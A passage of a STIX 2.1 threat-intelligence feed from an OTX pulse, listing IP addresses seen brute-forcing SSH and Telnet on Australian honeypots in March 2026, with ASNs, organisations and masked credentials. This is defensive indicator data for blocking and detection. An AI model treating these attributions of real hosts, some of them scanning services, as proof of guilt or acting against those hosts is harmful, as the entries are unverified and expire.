      "id": "indicator--033603ae-7b8c-4bd9-8612-22d79fba998c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T14:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '92.50.200.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T14:15:24.000Z",
      "valid_until": "2026-04-06T14:15:11.000Z"
    },
    {
      "created": "2026-03-05T15:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138115. Organisation(s): PT Deneva. Usernames observed (masked): a***n. Passwords observed (masked): A******3.",
      "id": "indicator--9ce2d19b-00f6-4c58-a5ed-44719ff21a6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T15:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.191.63.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T15:15:02.000Z",
      "valid_until": "2026-04-06T15:15:01.000Z"
    },
    {
      "created": "2026-03-05T15:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd..",
      "id": "indicator--3eaccefe-d4d8-4666-bba4-40082d0cdf07",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T15:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '111.38.30.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T15:15:02.000Z",
      "valid_until": "2026-04-06T15:15:01.000Z"
    },
    {
      "created": "2026-03-05T15:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17488. Organisation(s): Hathway IP Over Cable Internet.",
      "id": "indicator--33dd78f8-3002-4ade-b5d3-220db652df35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T15:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.72.105.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T15:15:02.000Z",
      "valid_until": "2026-04-06T15:15:01.000Z"
    },
    {
      "created": "2026-03-05T15:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 4780. Organisation(s): Digital United Inc.. Usernames observed (masked): r**t. Passwords observed (masked): 1******1, 1********$, 2********@, 3***********4, @********6.",
      "id": "indicator--39505e2e-aa9a-48bc-8fa2-87a48206b146",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T15:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '123.204.132.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T15:15:02.000Z",
      "valid_until": "2026-04-06T15:15:01.000Z"
    },
    {
      "created": "2026-03-05T15:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: LT. ASN(s): 209605. Organisation(s): UAB Host Baltic.",
      "id": "indicator--fcfa8fba-20c5-4c19-ab60-d9b947990190",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T15:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '141.98.11.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T15:15:02.000Z",
      "valid_until": "2026-04-06T15:15:01.000Z"
    },
    {
      "created": "2026-03-05T15:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--7d8d2291-db76-47cb-a136-09a1590b721c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T15:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.107.237.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T15:15:02.000Z",
      "valid_until": "2026-04-06T15:15:01.000Z"
    },
    {
      "created": "2026-03-05T15:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit. Usernames observed (masked): s*****a. Passwords observed (masked): I***********************6.",
      "id": "indicator--da95820a-82f3-4fd2-8c4d-24cfd4e811cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T15:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T15:15:02.000Z",
      "valid_until": "2026-04-06T15:15:01.000Z"
    },
    {
      "created": "2026-03-05T15:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--8937d745-bac0-40cd-be8a-426d2744c251",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T15:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '221.167.18.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T15:15:02.000Z",
      "valid_until": "2026-04-06T15:15:01.000Z"
    },
    {
      "created": "2026-03-05T15:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 55105. Organisation(s): NORTHWEST COMMUNICATIONS COOPERATIVE.",
      "id": "indicator--9579262b-f331-44f5-8035-6f511d99d580",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T15:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '63.131.178.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T15:15:02.000Z",
      "valid_until": "2026-04-06T15:15:01.000Z"
    },
    {
      "created": "2026-03-05T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): u****u, a***n, t**t, u**r, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A********3, P********5, a*************1.",
      "id": "indicator--b43be287-245c-4349-9391-49eb8942821e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.231.14.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T16:15:13.000Z",
      "valid_until": "2026-04-06T16:15:11.000Z"
    },
    {
      "created": "2026-03-05T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): a***n, u****u. Passwords observed (masked): a********8, a*******************a.",
      "id": "indicator--b10f1f32-5b11-46b6-819b-6b52f90acaf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '106.12.18.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T16:15:13.000Z",
      "valid_until": "2026-04-06T16:15:11.000Z"
    },
    {
      "created": "2026-03-05T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): u****u, r**t, 3**********4, a***n, u**r. Passwords observed (masked): 1********!, 3***********4, 3**********4, A*****6, A**2.",
      "id": "indicator--4d7b0ad8-08f6-48b4-a30d-d4a59222e5c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.226.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T16:15:13.000Z",
      "valid_until": "2026-04-06T16:15:11.000Z"
    },
    {
      "created": "2026-03-05T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 272. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, u****u, 3**********4, r**t, t**t. Passwords observed (masked): 3***********4, 3**********4, 1*******!, A********3, A*******J.",
      "id": "indicator--80ee7270-5c07-4779-9a2b-ab3154f4e7f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.245.194.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T16:15:13.000Z",
      "valid_until": "2026-04-06T16:15:11.000Z"
    },
    {
      "created": "2026-03-05T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--1c477d22-3a87-4bcd-8b38-4210fff4cd9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.107.211.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T16:15:13.000Z",
      "valid_until": "2026-04-06T16:15:11.000Z"
    },
    {
      "created": "2026-03-05T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9937. Organisation(s): Delta Networks.",
      "id": "indicator--f46c59db-c80c-4145-84a8-8e92ad91acdd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '180.149.208.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T16:15:13.000Z",
      "valid_until": "2026-04-06T16:15:11.000Z"
    },
    {
      "created": "2026-03-05T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 343. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 201094. Organisation(s): Mulgin Alexander Sergeevich. Usernames observed (masked): a***n, u****u, 3**********4, r**t, t**t. Passwords observed (masked): 3***********4, 3**********4, 1*******!, A********3, A*******J.",
      "id": "indicator--d5f28e0f-5957-4549-b597-6f3a03b7d898",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.86.76.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T16:15:13.000Z",
      "valid_until": "2026-04-06T16:15:11.000Z"
    },
    {
      "created": "2026-03-05T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 216127. Organisation(s): International Hosting Company Limited. Usernames observed (masked): a***n, r**t, u****u, 3**********4, t**t. Passwords observed (masked): 3***********4, 3**********4, 1*******!, A********3, A*******J.",
      "id": "indicator--9a0c8726-8698-42bc-be67-eef292e97594",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '194.58.33.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T16:15:13.000Z",
      "valid_until": "2026-04-06T16:15:11.000Z"
    },
    {
      "created": "2026-03-05T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MU. ASN(s): 23889. Organisation(s): MauritiusTelecom. Usernames observed (masked): u****u, 3**********4, a***n, u**r, r**t. Passwords observed (masked): 3***********4, 3**********4, A********8, A***********0, A********..",
      "id": "indicator--ffaf5a27-43c1-4723-b93b-3019a31193e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '197.225.146.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T16:15:13.000Z",
      "valid_until": "2026-04-06T16:15:11.000Z"
    },
    {
      "created": "2026-03-05T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 370. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, r**t, u**r. Passwords observed (masked): 1****6, 1*******9, 0****0, 1****1, ***.",
      "id": "indicator--c7e01ad4-986b-44b9-8441-2b9a7612b458",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.189.86.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T16:15:13.000Z",
      "valid_until": "2026-04-06T16:15:11.000Z"
    },
    {
      "created": "2026-03-05T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LV. ASN(s): 215590. Organisation(s): DpkgSoft International Limited. Usernames observed (masked): a***n, u****u, t**t, 3**********4, u**r. Passwords observed (masked): 3***********4, 3**********4, A******A, A*********0, A*******T.",
      "id": "indicator--84b9c2aa-2e93-413f-a8a4-a2725d697e2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.21.253.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T16:15:13.000Z",
      "valid_until": "2026-04-06T16:15:11.000Z"
    },
    {
      "created": "2026-03-05T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KW. ASN(s): 42961. Organisation(s): Mobile Telecommunications Company K.S.C.P.. Usernames observed (masked): u****u, 3**********4, a***n, u**r, r**t. Passwords observed (masked): 3***********4, 3**********4, A********8, A***********0, A********..",
      "id": "indicator--ed3d0f70-2f55-4f26-aa21-68c11417b553",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '37.34.239.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T16:15:13.000Z",
      "valid_until": "2026-04-06T16:15:11.000Z"
    },
    {
      "created": "2026-03-05T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GH. ASN(s): 29614. Organisation(s): VODAFONE GHANA AS INTERNATIONAL TRANSIT. Usernames observed (masked): a***n, r**t, u****u. Passwords observed (masked): P********3, a********b, a*******6.",
      "id": "indicator--7a825bb2-66eb-4bad-8292-e4d16faf80f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.66.220.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T16:15:13.000Z",
      "valid_until": "2026-04-06T16:15:11.000Z"
    },
    {
      "created": "2026-03-05T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 41745. Organisation(s): Baykov Ilya Sergeevich. Usernames observed (masked): a***n, u****u, t**t, 3**********4, u**r. Passwords observed (masked): 3***********4, 3**********4, A******A, A*********0, A*******T.",
      "id": "indicator--d6a0e595-e434-41ef-8369-b9d958df8452",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.144.233.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T16:15:13.000Z",
      "valid_until": "2026-04-06T16:15:11.000Z"
    },
    {
      "created": "2026-03-05T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 267. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 12430. Organisation(s): Vodafone Spain. Usernames observed (masked): a***n, 3**********4, t**t, u****u, u**r. Passwords observed (masked): 3***********4, 3**********4, A******A, A*********0, A*******T.",
      "id": "indicator--d718e33b-c06f-47a9-ae94-165bba4581d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.26.43.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T16:15:13.000Z",
      "valid_until": "2026-04-06T16:15:11.000Z"
    },
    {
      "created": "2026-03-05T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--7e254045-7ab9-409d-8bea-ba72c5eb4f0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.71.39.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T17:15:13.000Z",
      "valid_until": "2026-04-06T17:15:11.000Z"
    },
    {
      "created": "2026-03-05T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***. Passwords observed (masked): d*********d.",
      "id": "indicator--311be514-cf0f-48e4-b3cb-f1c8d595113c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.182.194.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T17:15:13.000Z",
      "valid_until": "2026-04-06T17:15:11.000Z"
    },
    {
      "created": "2026-03-05T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b5fcd94a-3142-42aa-87c4-a917124656e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T17:15:13.000Z",
      "valid_until": "2026-04-06T17:15:11.000Z"
    },
    {
      "created": "2026-03-05T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398722. Organisation(s): Censys, Inc..",
      "id": "indicator--066b3ebd-bd0b-4e0d-9a17-3af7e5489cb4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '199.45.154.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T17:15:13.000Z",
      "valid_until": "2026-04-06T17:15:11.000Z"
    },
    {
      "created": "2026-03-05T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6.",
      "id": "indicator--1b13d192-4914-4bbc-be7c-f62465644931",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.189.126.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T17:15:13.000Z",
      "valid_until": "2026-04-06T17:15:11.000Z"
    },
    {
      "created": "2026-03-05T17:15:13.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14956. Organisation(s): RouterHosting LLC.",
      "id": "indicator--6de8fa16-e81e-4609-b96f-41b0d495a992",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '216.126.225.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T17:15:13.000Z",
      "valid_until": "2026-04-06T17:15:11.000Z"
    },
    {
      "created": "2026-03-05T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DK. ASN(s): 44803. Organisation(s): Webdock.io ApS.",
      "id": "indicator--0922ed9f-3d1d-4334-b5bd-e5271dd1160f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '92.113.144.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T17:15:13.000Z",
      "valid_until": "2026-04-06T17:15:11.000Z"
    },
    {
      "created": "2026-03-05T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): e***n. Passwords observed (masked): p******d.",
      "id": "indicator--9b084f2d-cd22-48c2-a9e4-ee84d397b80b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.186.0.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T18:15:14.000Z",
      "valid_until": "2026-04-06T18:15:12.000Z"
    },
    {
      "created": "2026-03-05T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): ***.",
      "id": "indicator--35c4aa05-0cfd-4db6-9314-0b01b943ff5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '106.13.44.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T18:15:14.000Z",
      "valid_until": "2026-04-06T18:15:12.000Z"
    },
    {
      "created": "2026-03-05T18:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--49474b10-4f3e-409b-9812-6e20b2d5a187",
      "labels": [
        "bruteforce"
